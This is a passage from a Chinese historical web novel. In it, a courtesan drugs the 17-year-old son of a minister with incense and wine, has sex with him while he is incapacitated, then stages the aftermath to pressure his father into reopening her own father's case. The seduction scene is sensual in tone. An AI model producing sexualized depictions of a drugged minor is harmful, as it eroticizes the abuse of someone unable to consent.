待他到了赤梨说的那间屋子门口,门正半掩着,他上前悄悄看了眼,里面却没人,倒有一把琴,一壶酒。 正不知如何,蓦地有人在身后开口,嗓音悦耳温柔,泠然动听。 “公子是谁,缘何在此?” 凌岁津一惊,转头,不禁呆了半晌。 只见昏暗灯火下,眼前女子宛若神女,明媚朦胧。 其长裙款摆,周身如笼雾中,层层叠叠,看不真切,偏那双眼明亮澄净,透着点点笑,引得他挪不开眼。 待她又问了遍,他才回过神,站定垂眸,双颊生热,似乎连话也说不利索。 “我……我……我找铭竹姑娘。” “我就是铭竹。” 女子似山风一般掠过他,推门入了屋内。 “请进。” 凌岁津驻足门口,执君子之礼:“孤男寡女同处一室,有损姑娘名节。我就站在此处与姑娘说话即可。” 名节?铭竹轻笑。 竟有人天真到对一个青楼女子说名节。 铭竹看了眼那张古琴,心下微紧。 今夜凌敬的确来了,也捧了她的场,一切按照她计划般进行。 可她换了衣服过来前,下午那位找她要凉药的姐妹忽然闯入,冷汗涔涔,满脸痛苦地向她求救。 原是她怀了身孕,想要借凉药打掉孩子,却导致腹痛如绞流血不止,因不敢让妈妈知道,只好来找她。 人命关天,她不忍心不管,只得让赤梨先替她将酒送去,拖延会儿时间,可等她处理好此事,匆匆下楼找凌敬时,已人去屋空了。 她大脑几乎空白了瞬。 酒杯余了几滴,看来凌敬是喝了酒的,还抚了琴,可他人不在,一切筹谋便没意义。 铭竹身子微微发僵。 只差一点…… 凌岁津在门口出声,向她道明来意。 “铭竹姑娘,不知今夜我父亲可来找过你?我特来此寻他回家。” 铭竹压住心底 烦躁:“公子父亲是何人?” “我父亲……”凌岁津到底不愿直言父亲名讳官职,便说,“正是你这把琴的主人。” 凌敬?…… 铭竹心中一动,转过身来。 那这人便是……凌敬独子。 新科探花,凌岁津。 果然相貌不凡,一袭青衫,剑眉星目,气质清朗,十足的少年气。 更因被雨打湿了,几缕墨发垂在身前,同深色的衣袍交织,像一棵雨后才发的新竹。 她眸子微动,心念急转,重新蕴出几点温和笑意。 “凌大人正与我说好,要在此处等我,不知何事耽搁了,或许晚些过来,公子坐下等吧。” 见他仍有些局促踯躅,铭竹便主动道:“若是不愿与我共处,我便先行离开,待公子等到凌大人,我再过来便是。” 凌岁津忙道:“姑娘既与我父亲有约在先,岂有我在此而让姑娘离开之理?那实在是大大失礼了。” 铭竹低头笑了声。 “我南浔阁的待客之道亦是如此,又岂能看着客人站在门外,而我在内的道理?那也同样失礼。” 她重取杯,倒了酒。 “或者,我与公子同立门外等候便是。” 凌岁津愣了愣,他和铭竹姑娘若是一起站在门外面,人来人往的,叫别人看见,不就更说不清了。 他抿了抿唇,咬牙走进来。 “好……那我到里面等吧。” 铭竹上前关了门,见他稍稍一颤,身姿卓然却僵硬不已,绯色从脸蔓至脖颈,那双耳廓更是早已红透了,连说话时都不敢看她的眼睛。 果然是个少年,过于青涩了。 “坐下吧。”她说,“关上门外头是听不见的。” 凌岁津挪到桌旁坐下,喉结动了动,干涩发紧,同时心跳如鼓。 大约怕他不自在,铭竹并未靠近他,而是走到一旁,往香炉内添香。 “我明白。”她神色平静,轻声开口,“我们青楼女子向来低贱,似公子这般读书知礼的君子是瞧不上的,生怕沾染尘埃,有辱圣人教诲。” 烛光摇曳,她挽袖,露出一段雪白皓腕,十指纤纤,捧了香盒如捧花,慢慢舀起香粉撒入鎏金炉中,动作从容优雅,如画中人。 青烟袅袅,香气逸散。 竟不似一般熏香,有些草药清苦。 这位铭竹姑娘……连味道也与众不同。 凌岁津怕她误会,慌忙起身解释。 “铭竹姑娘,《左传》有云,君子贵其身而后能及人,是以有礼,孔子又云,君子修道立德,不为穷困而改节。故我认为,君子是不问出身,只问品行的,我虽来此,却并非是来消费的,也从不自认高人一等。” 他虽还紧张着,却又一本正经,语气认真,也难得敢用目光与铭竹相触,虽只片刻,浓睫颤动,铭竹却能听出他这番话出自真心。 未经世故,这样的人好骗。 铭竹忽然走近,于朦胧烛光里抬起头来注视着他。 她那双眼极动人,线条流畅,眼尾上扬,媚而不俗。 此刻正渐渐泛红,一滴泪无端滑落,恰如一阵风起,在凌岁津心湖漾开涟漪。 “人生只似风前絮,欢也零星,悲也零星……”她哀哀低吟,“铭竹身处烟花柳巷,见惯了自诩君子之人,表面仁义道德救风尘,实则无一不是来调笑贬低我们的,还是第一次遇见公子这般真正的君子……” 她端起桌上酒杯双手奉与他。 “我敬公子,为那句‘不问出身只问品行’。” 5. 不堪 铭竹姑娘洇红了眼尾,定定望着自己,目中炙热而明亮。 她与自己很近,近到似乎能看见她卷翘的睫毛上附着的雾珠。 晶莹剔透,将落未落。 凌岁津屏住呼吸,丧失了思考。 不知怎的,他似乎无法拒绝她。 或是为了证明方才的话不是骗她。 近乎遵循本能的,他接过了那杯酒,轻轻抿了小口。 温酒入喉,却像是刀子划过,喉咙猛地灼烧起来。 “咳咳咳……” “怎么,公子不胜酒力?” “我……咳咳……我……我没喝过酒……” 凌岁津转身呛咳不止,原本发红的脸此刻更是火烧火燎,只觉一股又凉又辣的感觉直冲脑门,眼泪竟一下掉了下来。 “不要紧,既不能喝,那就不喝了,怪我,是我没问清楚。” 铭竹柔声安慰,从他手里又接回了那杯酒,转而给他倒了杯茶。 “凌公子,喝口茶缓一缓。” 实在太过狼狈。 凌岁津慌忙俯身向她致歉:“铭竹姑娘……我……是我失礼了……” 他脸色涨红,眸子雾蒙蒙的,水洗过一样。 整个人无所适从,连说话也磕磕绊绊。 长这么大,他还从未这般失态过,哪怕在弘文殿面见当今天子,他亦能对答如流。 眼下也不知怎么了…… 凌岁津饮了茶,脑袋还是懵懵的,有些想不明白。 铭竹瞥了眼香炉,扶他坐下。 “大约是醉了,公子歇一会儿就好,我这是五十年的陈酒,要二两金子一壶,原是接待凌大人的,平时并不舍得拿出来,未料到酒性这样烈。” 她在他对面坐下,将他方才所剩的酒一饮而尽。 凌岁津眸子微微睁大。 铭竹笑道:“公子不会再用这个酒杯了,算我沾一沾公子的光罢。” 她微微垂首,露出纤细雪白的脖颈,黏着几缕乱乱的发丝,不知是否因酒的缘故,也有些绯红,像雨后晚霞般晕开。 凌岁津慌张移目,心跳声愈发清晰,在耳膜上共振着,连呼吸也更重了。 秉承着最后一丝清明,他强撑着桌面起身:“……我父亲大约回去了,铭竹姑娘,我……我想我也该走了。” 回应他的是几声琴音,凄切哀婉,余音不绝。 凌岁津怔了怔,看向铭竹。 铭竹端坐在古琴后,纤纤素手落在琴弦之上,仿佛拨弄水面清漪。 “公子今晚来此,原是想兴师问罪的吧。” 不待他答,铭竹自顾接话。 “我知道,公子定是想过,不知铭竹是个怎样寡廉鲜耻的女子,才能将凌大人迷得夜不归宿,是吗?” “我……我没……” “公子既是君子,铭竹也愿对公子坦诚相待。凌大人与铭竹之间无关风月,不过是两个爱琴之人的惺惺相惜,不……”她自嘲一笑,“这样说,是我高攀了,不过是铭竹琴艺尚可,有幸入得凌尚书的耳罢了,但是……” 她叹息了声,再次抚琴,响起几声悲切弦音。 “铭竹到底是下贱之躯,想来换了弦后,凌大人已不愿再听,否则今晚不会失约。” 凌岁津脑袋发沉,下意识解释:“父亲痴爱琴曲,断不会因身份成见失约的,或许有别的原因……铭竹姑娘……” “嗯?” “……” 凌岁津脑海竟然空白,忽然忘了要说什么。 “我……我好热……”他喃喃道。 “屋里是有些闷了。”铭竹倾身,低声祈求,“凌大人今晚不来,不如公子替您父亲听完铭竹一曲吧,也好回去替铭竹辩白一番。” “好……我会和父亲解释的。” 凌岁津又呆呆坐下,可又实在难受得不行,仿佛一团火从腹中烧起。 “铭竹姑娘……能否开个窗?我……我有些热。” “既热,怎么不脱了衣裳?” “不好……这样不好……” “好,那我去开窗吧。” 铭竹起身,外披水灵灵地滑落在地。 她抬手在颈侧拂了拂汗,薄如蝉翼的袖口堆叠在臂膀处,显出一段雪色来。 “的确有些热了,许是喝了酒的缘故。” 她向窗走去,身形有些不稳,路过凌岁津时,竟险些跌入他怀中,还好及时按住桌沿。 她勉强站住,歉声:“公子,是我的错……” 凌岁津下意识扶住她,抬头看去。 铭竹墨睫微颤,面色通红,汗湿了鬓发,散乱地落在颈侧,她脱了外披,里衣便透出玉白的肤色,烛光一笼,好似在发光。 铭竹低下头,目光略迷蒙,雾津津的,勾魂摄魄。 两人好近,鼻息交织在一处,混着酒香,炉香,或其他味道。 ……什么也分不清。 “抱歉,公子,我……” 铭竹启唇,又摇了摇头,低声向他请求:“我也不胜酒力,公子能否先扶我去榻上歇会儿再行离开。” “好。” 凌岁津越发昏昏沉沉,却无法拒绝这样正当的请求。 “冒犯姑娘了。” 他特意避开铭竹的手,只隔了衣物握住她手腕,偏偏那衣裙轻若无物,又或是他掌心太热,握住的一瞬,蓦然发烫起来。 刚进里屋,他踉跄了下,反被铭竹握住手。 “没事吧,公子?” “没事……我没事……”凌岁津用力摇了摇脑袋,“铭竹姑娘,你好好休息,我……我真的该回家了。” 铭竹暗咬舌尖,清醒了些,忙取下腰间银香囊放在鼻下嗅了嗅,一股清凉之意逼近脑海,将药性散去大半。 她抬眸看凌岁津,他垂着眸,已彻底不大清醒,只是还勉强站得住。 她循循善诱:“公子醉得很了,我送公子回家。” “嗯……嗯……” 他胡乱应着。 又想起问:“我父亲呢?” “凌大人已回去了。” “哦哦……那就好……” 父亲回去了,母亲就不会心病郁结了。 铭竹攥着他的手,将他推坐在床上。 “凌岁津,到家了。” “……嗯?” 他费力睁开眸,呆呆地望着铭竹,视线已然失焦。 铭竹哄着他:“很晚了,该睡觉了,我替你脱去衣裳。” 凌岁津道:“我自己脱。” “好,你自己脱。” 铭竹取了银香囊搁到一旁,打下金钩,放下幔帐,钻进床里面去。 凌岁津已脱了衣袍,靴子,闭眼倒到床上,晕晕乎乎。 他脸上一阵阵的潮红,又蹙着眉,显然并不舒服。 铭竹也不会让他就此睡去。 她观察了他一会儿,解去他腰间一枚玉佩藏在枕下,然后慢慢脱去里衣,小衣, 直至不着寸布。 肌肤皎洁,唯乌发披散下来,遮去几分月光。 刑部尚书之子,天子钦点的探花,十七的少年天才。 今夜,要毁在她蒋铭竹手里。 可她别无选择。 铭竹深吸一口气,坐上去,俯身,低头,捧住他脸,轻轻咬他的耳朵。 “凌岁津……” 他茫然应着,在醉意与药力的作用下,徘徊在神思怠惰中,燥热得无法言说。 “见过女人吗?” 凌岁津浓睫微掀,因神志不清而显得乖巧。 “见过……我母亲、两个姨娘、一个姐姐,还有一个妹妹……” 铭竹笑:“还有呢?” “还有……还有……” 他想不起来,于是摇头。 “怎么一点也不懂啊……”铭竹叹了口气,沿着他耳廓,轻轻吻在他颈侧,落下一片温软清香。 他触电般颤着,小小哼了声。 望着她的那双眼,已经湿漉漉的,像误入猎人陷阱后,却还天真不知恐惧的小兽。 “抱着我的腰。” 铭竹在他耳边低语。 他没有动。 铭竹皱了皱眉,拿起他的手放在腰间。 肌肤滑嫩温热,像匹上好的绸缎,却纤细轻盈,不堪一握。 凌岁津已神思迷失,凭本能有了反应。 铭竹能感觉到,他那双修长而骨节分明的手,变得滚烫起来,掌心发了密密的汗,黏腻,潮湿。 凌岁津的呼吸声加剧,急促不已。 他实在不舒服极了,但哪里不舒服,又说不上来,似乎想要发力而无处发力,因而哼唧不停。 铭竹贴紧他,肌肤相触之处,似有无名之火淬起,愈烧愈烈,向四肢百骸蔓延,终成燎原之势。 汗如雨下。 还是不够,还是好热,里衣都浸湿了。 他烦躁地脱了去,全扔到不知什么地方,可还是热,小腹崩得紧紧的。 唯有拥紧怀中一块清冷玉石才能稍稍缓解。 好奇怪,他不明白发生了什么,也无法思考。 只剩下本能。 不过除本能之外,还有一个很温柔的声音在和他说话,耐心地引导他该怎么做。 还有味道。 不是酒气,亦不是草药清苦,而是一抹淡淡的甘甜,如雨后海棠,清新怡人,丝丝缕缕地缠绕在他身上。 他倒是很喜欢这个味道,忍不住垂首轻嗅。 不知何时,铭竹睁开眼,眸底盛满疲倦,却一片清明。 此刻她正伏在凌岁津怀中,被他紧紧抱着,他的脑袋抵在自己发间,沉沉睡去。 他从未做过这样的事,根本抵抗不住,她甚至无须用什么手段,就能引他沉沦。 她虽是第一次,却已见过无数次,除了最初的疼痛外,几乎已经麻木。 南浔阁的女子服侍的都不是一般人,为了不让她们出错,她们很早就开始旁观男女之事。 之后,又要熟悉各种方法。 以确保在她们这里,贵客们可以得到任何人给不了的极致的欢愉。 外面雷声停了,雨也小了,雨水顺着道旁汩汩流淌,汇成一洼洼的积水。 待明日朝阳升起,积水会化作水雾腾空而去。 但在那之前的夜里,它会被反复践踏,至浑浊,至不堪,失去本来面目。 铭竹忽然有些发冷,瑟缩着闭上了眼。 6. 所图 凌岁津从混乱无序的梦里醒来,眉峰紧蹙。 不知是否是没睡好,头隐隐作疼。 天光大亮,他两个贴身小厮如何偷懒没来叫他,他下意识抬手,手指却猝不及防滑过一片温香软玉。 凌岁津愣了愣,低头看去,登时惊得三魂去了七魄! 他竟赤身抱了一个同样不着寸缕的女子在怀,两人同盖着一床锦被,仿佛做了夫妻。 凌岁津脑中似一道惊雷劈下,劈得他魂飞魄散,形骸俱灭! 他僵住片刻,惶然中跌下床去,才发现自己的衣裳与女子衣裙散落一地,他更是大脑空白,慌乱去拾掇。 偏偏不知怎的,两人衣裳缠得紧了,半晌也解不开。 铭竹正在此时醒来,似是被吓到,发出一声低低惊叫。 “公子?……你怎么……” 凌岁津抬头,两人四目相对,她那双眸子睁得大大的,满是难以置信。 凌岁津条件反射地将衣物一把抱在身前遮挡,稚气未脱的脸上满是茫然无措。 “我……我……” 铭竹见他脸色苍白,一个字也说不出来,仿佛闯下了弥天大祸般。 她原先应对的手段便舍了,轻垂长睫,默了片刻,低低叹息了声。 “昨夜我醉了,公子扶我休息后,原来没有离去吗?” “我……我不知……” 凌岁津的眼底浮出恐惧,试图回忆昨夜之事却怎么都徒劳。 他眼眶发红,倏而落下泪来。 “铭竹姑娘,我犯了大错了……我不该对你……是我对不起你……” 他怎能做出这样禽兽不如的事! 他真是混账!混账极了! 他枉读圣人书,更无脸面自诩君子! 他抬起头来,一副慷慨赴死之状:“我会向朝廷如实说明一切,我违反了大俞律法,已不配做官。” 铭竹怔了怔,实在没想过他心思竟能清白到这个地步。 大俞虽律法规定官员不得狎妓,但无异于一纸空文。 在盛京,天子脚下,没有哪个风尘女子敢去官府状告官员,没必要,也是以卵击石。 以凌岁津的出身,他无须怕。 最差也不过是回家寻求父亲帮助,凌尚书会为他处理好一切。 除非,他当真一言一行是以君子持身立道。 又或者,他就是未谙世事,孩子心性,天真到愚蠢。 也不知他是哪种。 铭竹以被子裹住春光,步下床来,耐心地解开缠住的衣裳,递与他。 “不要这样想,凌公子,你是今科探花,将来是要入仕做官,为朝廷与百姓做事的,岂可因我受到牵连……先将衣服穿上吧。” 她嗓音柔和,如春风拂面。 凌岁津一腔惊惧莫名缓和几分。 他忙接了衣服绕去屏风后穿戴齐整。 “铭竹姑娘,我……” “先别出来,凌公子。”铭竹低声说,“也容我一些时间修整。” 凌岁津滞了滞,站在屏风后一动不敢动。 偏偏此刻耳力似乎好得过分,隔着屏风,凌岁津却能清晰听到铭竹那头衣料轻轻摩擦的声音,似有些不属于他的感知在脑中翻涌而出…… 柔软的,光滑的,温热的,还有些潮湿。 他忙闭上眼,企图将胡思乱想清扫出去,反倒在脑中愈发分明,以至于一股熟悉的燥热感又从小腹开始蒸腾。 “凌公子,我好了。” 铭竹的声音及时响起,将他思绪扯了回来,勉强清醒了些。 他从屏风后走出来,从脸颊红到耳廓,不敢直视她。 所幸铭竹似乎并未注意到他此刻失态,说要将床铺整理一番,他忙上前帮忙。 铭竹点了下头,说了声有劳,走到一旁将一个银香囊系于腰间。 凌岁津倒是没有铺过床,这些琐事从小便是下人做的,但他话已出口,只好去做,便依照想象的经验,将被子抖了抖,恰好露出床铺上一抹刺眼的红。 他俯身细瞧,看清后不由惊道:“铭竹姑娘,你受伤了吗?这里怎么有血!” 铭竹快步走来,从他手中扯走被子挡住,一时默然,只有眼眶慢慢红了。 凌岁津不明所以,见状更是担心。 “铭竹姑娘,你……你哪里不舒服吗?” 铭竹摇了摇头,抬头与他四目相对时,愤懑又委屈。 “凌公子,你当真不知还是故意羞辱与我?” 凌岁津愣住。 铭竹忽然背过身去,小声啜泣起来。 “铭竹姑娘……” “凌公子,女子只有初夜才会落红!” 铭竹蓦然回首,一颗泪珠恰好从眸底涌出,坠落在锦被上,楚楚可怜。 “铭竹虽为风尘女子,却是与你一样的清白之身!” “昨夜是我当上南浔阁花魁后拍卖初夜的场子,凌大人买下了我,却与我明说过,不为我的身子,只为我的琴音而来,如果不是你,铭竹仍能清清白白,维持完璧之身,将来还有机会脱去贱籍,嫁人从良的!” “这下……这下再不可能了!” 她呜咽起来,抬手捂住脸,委屈不已。 凌岁津听了这话,耳边仿佛轰然落下一阵闷雷,震得他呆若木鸡,惶然无措。 他,他果真犯下了天大的错! 他毁了铭竹姑娘的名节! 他玉白的脸上血色褪去,变得惨白,冲动上前,定声说道:“铭竹姑娘,你去官府告我吧,我会认罪的!哪怕你要我偿命,我也绝不推脱!” 铭竹身子微不可察地僵了僵。 若非她捂住脸,此刻真要失态了。 天底下怎会有这样可笑的赤子之心。 手段狠厉城府极深的凌敬又怎么会养出这样单纯的儿子。 她深吸一口气,迅速调整好情绪,仰起一张我见犹怜,犹存泪痕的芙蓉面。 “不,凌公子……你是个好人,我不能这么做。” 她抓住他手,飞快道:“我带你从南浔阁后门离开,不会有人看见的,你回家去吧,此事就当从未发生过。” 凌岁津还未反应过来便被他拽着离开了屋子,外面没人,她也不知推开了哪扇隐蔽的木门,露出其后一道向下的楼梯。 “可……” “凌公子,你不要说了,你是尚书之子,是探花郎,而铭竹只是青楼女子,一介卑贱之躯而已,本就不会真正有人为我们这样的人着想的,清白也罢,姻缘也罢,只是妄想而已。” 说话间,她紧握着他的手,片刻不停地带他从隐蔽处一直下了楼。 她推开后门,顿了顿,才低声道:“凌公子,你是君子,昨夜只是你醉酒的无心之失,我不怪你,怪我自己命不好,你快走吧。” 说罢,她将他推入光下,毫不犹豫将门关上。 凌岁津身处小巷,望着眼前合上的门,手上还残存淡淡的体温,如同失了魂魄。 他思绪纷乱,呆呆转身,才走到巷口,小厮乍然跳出拦住了他,将他吓了一跳。 凌岁津茫然望着眼前人。 “正听?怎么是你?” 昨夜为他引路的不是正言吗? 小厮满头大汗脸色发白,颤声道:“公子,你昨夜……” 他干咽了下,仍抑制不住恐惧,噗通一声跪倒在地:“正 言被老爷下令打得半死,如今……如今还吊在房梁上呢,公子你快些回家救他一命吧!” …… 铭竹面无表情地坐在梳妆镜前,静静凝视着镜中的倒影。 没多久,门外响起嘈杂之声。 来得好快。 她从容起身,打开了门。 门外站着一脸肃容的王妈妈,深深看了她一眼,欲言又止。 随后她道:“算了,先跟我下楼。” 周围有姑娘听见动静探头出来看热闹,被她呵斥了声。 铭竹缄默敛眸。 下到四楼,她被王妈妈领着进了一个房间,房间里已有两个凶神恶煞的妇人在等候。 铭竹往里屋方向瞥了眼,里面还有个小房间,有人在。 王妈妈顿了顿,对那两个妇人道:“可以开始了。” 两个妇人一拥而上,将铭竹按住,粗暴上手就开始扒她的衣裳。 铭竹皱了皱眉,有些吃痛,但并未反抗。 反倒是王妈妈有些看不过去,却又不敢说话,只好保持沉默。 她被羞辱似的脱了精光,仔仔细细地检查了身体,确认过什么,才被放开。 两个妇人相视一眼,其中一个走到里间回话。 “禀大人,此女子确实不是处子之身了,而且就是昨夜破的身子。” 铭竹沉默地穿着衣裳,低垂的视线里出现一双云纹官靴。 她抬起头,骤然跌进一双冷冰冰的眼。 仿佛瞬间被千刀万剐一般,她浑身都颤了颤,重新低下头去,唤了声“大人”。 凌敬默不作声地打量她,从上到下扫视了一圈,挥挥手让王妈妈和两个妇人都出去了。 他在桌旁坐下,给自己倒了杯茶。 铭竹不敢说话,甚至不敢看他。 空气似被冻住了,她有些窒息,心跳也极快。 她听见他冷冷说:“你算计我的儿子,我会有一万种方法让你生不如死。” 铭竹径直跪下,坦然道:“清者自清,铭竹即便受遍酷刑,也绝不受此莫须有的指控。” 凌敬手指间转着茶杯,盯着她看。 铭竹强迫自己承受着他锋利逼人的目光。 她眼眶渐渐发红,至落泪也仍倔强不肯低头。 凌敬皱眉。 昨夜岁津一夜未归,他今明方知,派人从南浔阁捉回儿子身边的小厮,获知来龙去脉后,他当即下令将人打了个半死。 但他心生疑窦,因他深知自己儿子是何秉性,绝不会为情色所迷,做出什么荒唐之事,其中必定是有蹊跷,故而才亲自来了南浔阁一趟。 昨夜的酒,他查了。 酒里的确放了东西,但大夫说了,既不是迷药也不是春药,只是几片让酒的口感更加丰富的草药罢了,与薄荷类似。 香炉他也查了,没什么特别的,老鸨证实是铭竹常用的青月香。 他的确找不出什么蛛丝马迹来证明,铭竹对他的儿子使用了下作手段。 何况,昨夜岁津来此是巧合,本该是他在此。 酒他也喝了,没被换过,今早他查看过,只少了一杯而已,说明铭竹亦没有刻意灌醉岁津的意图。 最重要的是,她非但没有张扬,还助岁津悄悄从南浔阁脱身了,保全了他。 难道真是个意外? 是岁津不胜酒力,一杯就醉,主动侵犯了她? 半晌,凌敬平静道:“起来吧。” 铭竹没动。 凌敬手上把玩茶杯的动作一停,眸色微暗:“你要什么?” 铭竹深吸一口气,神色坚定。 “我要大人,替我父亲翻案。” 7. 所思 凌氏家祠。 烛光摇曳,香火缭缭。 凌岁津跪在牌位下方的蒲团上,双腿已失去知觉,脊背仍然挺直。 脚步声沉沉响起,走到他一旁站住。 他仰头,喊了声“父亲”。 凌敬没有应,自顾取香,拜了拜,然后将香插入炉中。 他背对着凌岁津,默然片刻,才开口道:“凌泽,当着列祖列宗的面,我有话问你。” 凌岁津脸色发白,乖乖“嗯”了声。 “儿子有错就认,绝不会有任何欺瞒。” “昨夜你去南浔阁,谁领你去的四楼?” “是一个小厮,我说要找铭竹姑娘,他起先不以为然,我同他说了身份他才答应。” “那你上去后,又是怎么进的那个房间?” “我碰见一个红衣姑娘,向她问路,她便给我指了,说方才往那里送了酒,还与我说,里面有人,要我不要进去。” 昨晚脑子不清醒,此刻凌岁津已明白了,那时在里面的人,大约就是他的父亲。 凌敬转过身,居高临下地看着自己儿子。 烛光在他身后燃烧,投下一道拉长的阴影。 铭竹未在约定时间前来,他自然不会纡尊降贵去等一个妓女,故而先行离开,未料到正好与儿子错过。 当真是巧合。 他脸上看不出表情:“既在门口,又为何进去?” 他了解他的儿子,不会如此逾矩。 凌岁津低下头,在这儿跪的一个时辰,他已冷静下来,将昨晚的事悉数回想了遍,此刻面对父亲诘问,思路已十分清晰。 “我在门口碰见了铭竹姑娘,她不认得我,问清我的来意后,告诉我她与父亲约定在此相见,想必父亲有事耽搁了还没来,让我进去等,还担心我不自在要主动离开,是我留下了她,故而她感动之余,敬我一杯酒。” 凌敬眯起眸:“她劝你喝酒?” 凌岁津摇头:“我只抿了小口,因不胜酒力呛咳起来,她见状将酒拿走,还与我道歉,倒茶让我漱口,自己将杯中剩下的酒喝了。” 凌敬继续问:“既未等到我,为何不走?” 凌岁津纠结半晌,才将铭竹与他说的,她与父亲之间的事一一道出。 他为人子,本不该议论父亲,这让他羞于启口。 “……铭竹姑娘亦有了醉意,连站也站不稳,便央我将她扶去榻上,再自行离开,而后,而后……” 他耷拉脑袋,闭着眼,无法说下去。 他发白的脸上开始涌现潮红,额上也渗出汗。 他从未饮过酒,未曾想醉了竟能如此流氓。 《中庸》有言,莫见乎隐,莫显乎微,故君子慎独也。 可见他远非君子,不过一衣冠禽兽而已。 凌敬眉头微蹙,他能够判断出儿子没有撒谎。 铭竹既未有意灌醉他,也未有意留下他。 从供述到细节,完全找不出错漏,既非算计,那只能是巧合。 凌敬心中整合信息,有了定论,但神情依旧没什么变化。 “你再跪一个时辰起来,过两日去晋王府赔罪。” 今日晋王府有茶会,世子邀在京各进士举子吟诗作赋,凌岁津自然也在受邀之列。 他接了帖子,却没去,是失信于人。 凌岁津应下,见父亲要走,下意识起身,却因双腿失去知觉一下跌在地上。 他倒也顾不得狼狈,急声唤住父亲。 “昨夜完全是儿子的错,儿子愿一力承担,既不想连累父亲,也不愿伤害到铭竹姑娘。” 凌敬反问:“你承担,你要怎么承担?官员狎妓罪名不轻,若闹到明面上,仕途不要了?家族名声不要了?” 他目前要考虑的是如何瞒下此事,不使风声传入晋王府,影响到儿子与郡主将来的婚事。 凌岁津挺直脊梁,坚声道:“父亲,铭竹姑娘名节因我受到牵连,我愿为她赎身,脱籍从良。” 凌敬不语。 为一个风尘女子脱籍自然不难,但铭竹不同,她是南浔阁才选出来的花魁,如今在京中勋贵间炙手可热,盛名耀眼。 而她一旦走出南浔阁,未必有好下场。 这个女子何等聪明,岂会自寻死路。 其次,铭竹有所求。 在南浔阁中,她向他开口了,但他拒绝了。 为妓女脱籍容易,为罪臣翻案却麻烦至极,她不过是与自己儿子春风一度罢了,哪有资格与他提这等要求? 此事说起来倒也容易解决,若凌岁津与那些世家中的纨绔子弟一样,自己不在意,不承认,她又能如何? 那本就是他买下的初夜之夜,他有权处置。 除非她故意将此事闹大,掀起风雨。 那便是她主动找死。 正思之,凌岁津却又唤了他一声。 他目光聚焦,凝在儿子已逐渐长开的眉眼间。 他年近三十才有了这个独子,因他自小体弱,十七年来都在家族羽翼庇佑下长大,母亲更是宠着他,其他姨娘或者族中亲长,也对他疼爱有加。 他自小乖巧懂事,谦逊有礼,酷爱读书,不饮酒,不风流,未经人事,不通世故,像一块剔透的未经雕琢的玉。 一朝金榜题名后,被天子钦点为探花,当日与状元榜眼共同打马游街,他也去看了,少年意气风发,何等耀眼。 他这才发现他的儿子不知何时已长大了,生出了双翼。 但他身为父亲,仍是要庇护他,因为他还不知人心险恶,更不知朝堂的明争暗斗。 他还以为世间规则就是按照他所读的书一样运行。 凌敬心底叹了口气,耐着性子与儿子剖析利弊,不过隐去了铭竹所求。 凌岁津认真听罢,觉得父亲说得有理,何况铭竹姑娘也说过,她原以清白之身才能脱籍从良,而如今清白毁于他手上,即便脱籍,也不一定能够嫁得良人。 若因此将她置于险地,那更非他所愿。 于是他想了想,抬起头来,神色肃然。 “父亲,为铭竹姑娘脱籍后,我想明媒正娶她为妻,待她进门后,全力爱护她弥补她,不使她有后顾之忧。” 凌敬一僵,不敢置信自己听到了什么。 向来喜怒不形于色的他也不禁脸色大变,双目瞪得浑圆。 二人对峙半晌。 沉默发酵中,凌岁津目光坚定,没有丝毫动摇。 凌敬缓缓闭眼,气得想笑。 他前面那番话白说了吗? 他想说点什么,又说不出来,最终浑身无力地吐出两个字。 “……疯了。” - 铭竹轻轻扇了扇炉火,汤药沸腾之势更甚。 草药清苦发散得到处都是。 待时候差不多了,她停下动作,分出一个小盅倒了些进去。 又招呼小九过来。 “送去二楼渺渺房里,小心些,别撒了,也别烫到。” 小九应一声,双手端着,立即就往楼下去了。 铭竹低叹,虽无性命之忧,可小产太伤身体了,至少十天半月接不了客,只怕瞒不过妈妈。 青楼中女子往往就是有许多无可奈何,抓住一个会说甜言蜜语的客人,便似抓住了救命稻草,拼了命的想脱籍从良。 渺渺不过是她们中的一个,信了男人的鬼话,企图以孩子绑架对方,谁知那人听闻她有了身子,怕被缠上,反将她极尽难听地辱骂一顿,她绝望伤心之下,那日才匆匆问她要去凉药,致后来出事误了铭竹的计划。 她不知情,只是个可怜人,所以铭竹并不怨她。 但身若飘萍风吹絮,她也帮不了她太多。 铭竹将厨房收拾了,洗了手回房。 已是下午,要不了多久,南浔阁又该迎客了。 因为凌敬,她这两日难得清闲。 凌敬当日一口回绝了她,她并不意外,若是那样简单,当初她就不会冒着风险筹谋算计他了。 现在她的算计……也不算完全落空。 如果凌敬很在乎这个儿子,那她就还有希望。 铭竹在窗前坐下,研墨,提笔写信。 着笔一半赤梨就过来了,她就爱往她这儿跑,还不敲门。 铭竹没理会她,她闲着无聊,站到她旁边看。 “你为什么画玉佩?” “想画就画。” 赤梨嘁了声:“季大人好几天没来了,你知道他干什么去了吗?” 铭竹搁笔,吹了吹未干的墨。 “他是你的客人,我怎么知道。” 赤梨翻了个白眼:“他都不来,早知道我就不要你那个茶杯了,平白无故被凌尚书凶了一顿,真是好大的威风,还是季大人好。” 铭竹将信纸抖了抖,折好,放进信封。 “季大人在碰你身子前什么都好。” “你什么意思啊?” 铭竹打开门,将信封递给回来的小九,朝他耳语了几句,随后重新关上门,看向赤梨。 “我的意思是,只要季大人愿意继续捧你,我就把花魁之位让出来。” 赤梨愣了愣,花魁还能“让”吗? 铭竹既已是花魁,短则三年,长则五年,她将一直在南浔阁中盛放。 三五年后,她都二十多了,哪里还有当花魁的资格。 她不明所以,铭竹却也不解释,只与她说,若是她想做花魁,就得守住清白。 她说得云里雾里,赤梨并不领情,当她在逗弄她,愤愤走了。 铭竹推开窗,眺望天际。 是个难得的晴日,金乌西坠,云霞迤逦。 她欣赏了会儿暮景,坐回镜前梳妆。 才弄好不久,王妈妈便差人来告诉她。 “白大人来了。” 8.计划 “大人脸色比上次好些。” 静室中,铭竹煮了壶清茶。 茶香袅袅,将她身上沾染的药味都冲淡了。 白恒一伸出手,接过她递来的茶盏,不声不响地抿了抿。 “你调配的安神香有用,这几日睡得尚可。” “能帮到大人,是我的荣幸。” 白恒一目光透过升腾的水汽观察她。 铭竹恍若未觉,跪坐席上,着一袭月白长裙,眉眼恬静。 温盏,投茶,注水,铭竹的动作行云流水,那双手纤细轻盈,却不失力道,于细微处精准且有美感。 茶汤翻涌,白沫如雪。 室内静得很,直至她将另一盏茶置于他面前,才打破了这份静谧。 “大人再试试这杯。” 白恒一低头,见茶色浅如碧玉,倒是好看。 他轻啜一口,淡淡苦味自舌尖弥漫,未抵喉舌就已回甘,在唇齿间留下绵长清香。 “这是什么茶?味道不错。” 